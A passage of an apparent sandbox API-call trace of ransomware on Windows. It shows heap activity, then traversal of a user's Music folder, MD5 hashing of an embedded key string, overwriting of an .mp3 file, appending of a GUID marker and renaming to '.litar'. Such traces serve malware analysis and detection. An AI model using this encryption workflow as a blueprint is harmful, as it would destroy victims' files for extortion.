hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.194] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\") returned="_IS6dQkXRiXDfJ5-\\" [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\") returned="YJf_dR\\" [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.198] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.198] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.198] PathFindFileNameW (pszPath="") returned="" [0127.198] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bc028d0, ftCreationTime.dwHighDateTime=0x1d4c975, ftLastAccessTime.dwLowDateTime=0xb5d346c0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xb5d346c0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.199] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bc028d0, ftCreationTime.dwHighDateTime=0x1d4c975, ftLastAccessTime.dwLowDateTime=0xb5d346c0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xb5d346c0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.199] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e5e3fa0, ftCreationTime.dwHighDateTime=0x1d4ca4e, ftLastAccessTime.dwLowDateTime=0x52deb060, ftLastAccessTime.dwHighDateTime=0x1d4cf31, ftLastWriteTime.dwLowDateTime=0x52deb060, ftLastWriteTime.dwHighDateTime=0x1d4cf31, nFileSizeHigh=0x0, nFileSizeLow=0xed49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ISL0.mp3", cAlternateFileName="")) returned 1 [0127.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\ISL0.mp3") returned=".mp3" [0127.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\ISL0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\_is6dqkxrixdfj5-\\isl0.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.199] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=60745) returned 1 [0127.199] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.201] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.201] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.203] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.203] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xed49, lpOverlapped=0x0) returned 1 [0127.203] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.203] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.203] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.203] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.204] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.204] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.204] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.204] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.204] GetLastError () returned 0x0 [0127.204] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.204] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xed50) returned 0x30fa0b0 [0127.205] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.205] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xed44, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xed44, lpOverlapped=0x0) returned 1 [0127.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.205] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.205] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.206] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.206] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.206] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.206] CloseHandle (hObject=0x624) returned 1 [0127.207] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.207] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.207] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.207] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\ISL0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\_is6dqkxrixdfj5-\\isl0.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\ISL0.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\_is6dqkxrixdfj5-\\isl0.mp3.litar")) returned 1 [0127.208] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.208] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.209] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.209] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6decb50, ftCreationTime.dwHighDateTime=0x1d4d517, ftLastAccessTime.dwLowDateTime=0x87f75090, ftLastAccessTime.dwHighDateTime=0x1d4cf81, ftLastWriteTime.dwLowDateTime=0x87f75090, ftLastWriteTime.dwHighDateTime=0x1d4cf81, nFileSizeHigh=0x0, nFileSizeLow=0x3b5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIIPvpIKePb.wav", cAlternateFileName="OIIPVP~1.WAV")) returned 1 [0127.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.209] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\OIIPvpIKePb.wav") returned=".wav" [0127.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\OIIPvpIKePb.wav" 